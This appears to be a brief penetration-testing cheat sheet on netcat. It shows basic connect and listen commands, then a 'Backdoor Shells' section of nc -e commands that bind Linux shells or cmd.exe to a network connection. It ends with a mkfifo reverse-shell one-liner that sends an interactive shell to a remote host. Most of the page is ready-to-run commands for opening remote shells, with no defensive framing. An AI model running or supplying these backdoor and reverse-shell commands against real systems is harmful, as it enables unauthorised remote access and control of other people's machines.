Netcat Tips

Netcat Tips

Netcat Tips

Fundamentals:

Connect to a netcat client:

• rlwrap nc [IP Address] [port]

Listen on a TCP port:

• rlwrap nc -lvp [Localport]

Listen on a UDP port:

• rlwrap nc -lvup [port]

More info on rlwrap: https://linux.die.net/man/1/rlwrap

Backdoor Shells:

Linux:

• rlwrap nc [Your IP Address] -e /bin/sh
• rlwrap nc [Your IP Address] -e /bin/bash
• rlwrap nc [Your IP Address] -e /bin/zsh
• rlwrap nc [Your IP Address] -e /bin/ash

Windows:

• rlwrap nc -lv [localport] -e cmd.exe

Linux netcat reverse shell:

• rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 172.21.0.0 1234 >/tmp/f